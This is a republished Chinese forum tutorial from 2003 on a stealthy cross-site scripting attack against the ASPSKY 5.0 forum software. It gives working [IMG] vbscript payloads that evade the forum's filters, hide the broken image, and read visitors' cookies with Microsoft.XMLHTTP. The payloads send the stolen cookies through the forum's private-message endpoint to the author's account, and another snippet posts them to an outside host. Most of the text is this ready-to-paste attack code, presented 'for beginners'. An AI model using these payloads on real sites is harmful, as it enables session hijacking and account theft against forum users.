主頁 > 知識(shí)庫 > 利用Microsoft.XMLHTTP控件發(fā)送COOKIE

利用Microsoft.XMLHTTP控件發(fā)送COOKIE

熱門標(biāo)簽:鳳臺(tái)百度地圖標(biāo)注店 外呼系統(tǒng)API接口 修改地圖標(biāo)注 武夷山旅游地圖標(biāo)注 怎么在地圖標(biāo)注自己 金昌電話機(jī)器人價(jià)格 個(gè)人可以辦理400電話么 萊西電子地圖標(biāo)注 縣域地圖標(biāo)注打印店
作者:czy czy82@elong.com>
出處:http://www.nsfocus.net
日期:2003-09-03

(注意由于論壇會(huì)對(duì)文章中的一些字符作處理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm測試代碼)

    跨站腳本攻擊想必各位都已經(jīng)是很熟悉了,但是得到COOKIE的時(shí)候一直有一個(gè)
問題:總是要用WINDOW.OPEN彈一個(gè)窗體出來然后發(fā)送COOKIE,這樣隱秘性
就大打折扣了。以前我想了一個(gè)在網(wǎng)頁中用insertAdjacentHTML方法來注入HTML語句
的辦法勉強(qiáng)可以作到發(fā)送COOKIE不出現(xiàn)IE窗口,但是在實(shí)際使用中有時(shí)會(huì)遇到IE出錯(cuò)。

    沒有更好的辦法了嗎?以前在研究VBS病毒自動(dòng)升級(jí)的時(shí)候用到一個(gè)Microsoft.XMLHTTP
控件(該控件是WIN98/2K上都默認(rèn)自帶的東東,并且它是IE認(rèn)為safe的控件!),通過它我們
可以在網(wǎng)頁中給網(wǎng)站發(fā)送http請(qǐng)求,可以是POST也可以是GET.

    好了思路已經(jīng)到這兒來,下面我們可以實(shí)戰(zhàn)一下,我以ASPSKY 5.0 0320為例子。
我們知道IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如
img src="vbscript:a=(msgbox(now))">,但是我們只能執(zhí)行一個(gè)語句,比如
img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯(cuò)誤的!
怎么辦法呢?在VBS中我們可以用EXECUTE語句,在JS中我們可以使用EVAL語!
比如:img src="vbscript:execute(#34a=(msgbox(now)):b=(msgbox(#34czy#34#34))#34)">
或是img src="javascript:eval('alert(\'nsfocus');alert(\'czy')')">

   還沒有暈吧?上面你可能會(huì)注意到用VBS的execute語句時(shí)雙引號(hào)要換為"這是因?yàn)椋?
在VBS中單引號(hào)要括起字符串,必須是兩個(gè)單引號(hào)代表一個(gè)又引號(hào),并且在雙引號(hào)內(nèi)!
所以在execute語句中我們不能用單引號(hào),而直接用"呢,在HTML進(jìn)行引號(hào)匹配的時(shí)候
會(huì)和src="后的引號(hào)匹配,所以我們只能用"代替了。

   引號(hào)的問題解決了,在實(shí)際應(yīng)用中ASPSKY還會(huì)對(duì)我們的代碼進(jìn)行處理:
1:如果發(fā)現(xiàn)script字串,會(huì)在前面加上一個(gè)空格
2:如果發(fā)現(xiàn)http字串會(huì)認(rèn)為是一個(gè)URL,并在兩邊加上A>元素
3:如果發(fā)現(xiàn)空格會(huì)用nbsp;代替

  解決問題:
1:vbscript用vbsCript代替
2:http用,#34#34ht#34#34+#34#34tp...代替(vbs中引號(hào)括引號(hào)里面的應(yīng)用多一對(duì),+代表連接符)
3:空格用#32代替(注不是#20)

   在最后就是發(fā)送COOKIE的問題:
1:控件在本地可以GET,POST任意的網(wǎng)站,但是在網(wǎng)頁中竟然只能
GET,POST當(dāng)前服務(wù)器。。。。要不然IE就會(huì)說拒絕仿問!
2:cookie中不能有等在URL中有特殊交意的字符

  解決問題:

1:只能發(fā)給當(dāng)前服務(wù)器,那么可以把COOKIE發(fā)到你在論壇上的注冊(cè)的用戶的郵箱嘛:)
2:replace(document.cookie,#34#34#34#34,#34#34-#34#34),在vbs中用
replace替換函用,在例子中我把""換成了"-"

問題都解決了下面是實(shí)際的例子:
動(dòng)網(wǎng)aspsky 5.0 0320測試成功

//----------------------

[IMG]vbs#67ript:execute(#34dat=replace(document.cookie,#34#34#34#34,#34#34-#34#34):set#32http=createobject(#34#34Microsoft.XMLHTTP#34#34):http.open#32#34#34GET#34#34,#34#34ht#34#34+#34#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=sendtouser=czytitle=newssubmit=發(fā)送message=#34#34dat,false:http.send#34)[/IMG]

說明:把COOKIE發(fā)給CZY用戶,郵件標(biāo)題叫news
//----------------------


另控件的正常用法:
script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="dat,false
http.send
tt=http.responsetext
msgbox tt
/script>




  讓代碼更完美,現(xiàn)在COOKIE已經(jīng)乖乖的在我們的郵箱里了,但是有一個(gè)小問題由于圖片不
能正常的顯示會(huì)是一個(gè)小叉,旁邊還有按此在新窗口瀏覽圖片的提示。。。這又難免會(huì)讓人
生疑。

解決思路:
一個(gè)網(wǎng)頁中的所有IMG元素通過document.imanges都能例舉到,并且可以設(shè)置它們的大小,當(dāng)width=0時(shí)就
相當(dāng)于HIDDEN了.通過比較元素的src屬性的值是否含有"ript"就可以判斷是不是我們的圖片.另外比較時(shí)
大于符用#62代替,0用#48代替!

代碼:
[IMG]vbs#67ript:execute(#34for#32each#32aa#32in#32document.images:if#32instr(aa.src,#34#34ript#34#34)#62#48#32then:aa.width=0:end#32if:next#34)[/IMG]


實(shí)際應(yīng)用的代碼:
[IMG]vbs#67ript:execute(#34for#32each#32aa#32in#32document.images:if#32instr(aa.src,#34#34ript#34#34)#62#48#32then:aa.width=0:end#32if:next:dat=replace(document.cookie,#34#34#34#34,#34#34-#34#34):set#32http=createobject(#34#34Microsoft.XMLHTTP#34#34):http.open#32#34#34GET#34#34,#34#34ht#34#34+#34#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=sendtouser=czytitle=alllsubmit=發(fā)送message=#34#34dat,false:http.send#34)[/IMG]


//-------------------方便菜鳥使用:)

[Ctrl+A 全選 注:引入外部Js需再刷新一下頁面才能執(zhí)行]
您可能感興趣的文章:
  • ASP利用XMLHTTP實(shí)現(xiàn)表單提交以及cookies的發(fā)送的代碼
  • AndroidHttpClient使用Cookie應(yīng)用分析
  • C# HttpClient Cookie驗(yàn)證解決方法
  • 用VBS實(shí)現(xiàn)的發(fā)送帶Cookie的HTTP請(qǐng)求的代碼
  • .net 獲取瀏覽器Cookie(包括HttpOnly)實(shí)例分享
  • httpclient模擬登陸具體實(shí)現(xiàn)(使用js設(shè)置cookie)
  • Python模仿POST提交HTTP數(shù)據(jù)及使用Cookie值的方法
  • 詳解HTTP Cookie狀態(tài)管理機(jī)制

標(biāo)簽:楚雄 南京 通遼 邢臺(tái) 涼山 上海 清遠(yuǎn) 赤峰

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《利用Microsoft.XMLHTTP控件發(fā)送COOKIE》,本文關(guān)鍵詞  利用,Microsoft.XMLHTTP,控件,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《利用Microsoft.XMLHTTP控件發(fā)送COOKIE》相關(guān)的同類信息!
  • 本頁收集關(guān)于利用Microsoft.XMLHTTP控件發(fā)送COOKIE的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章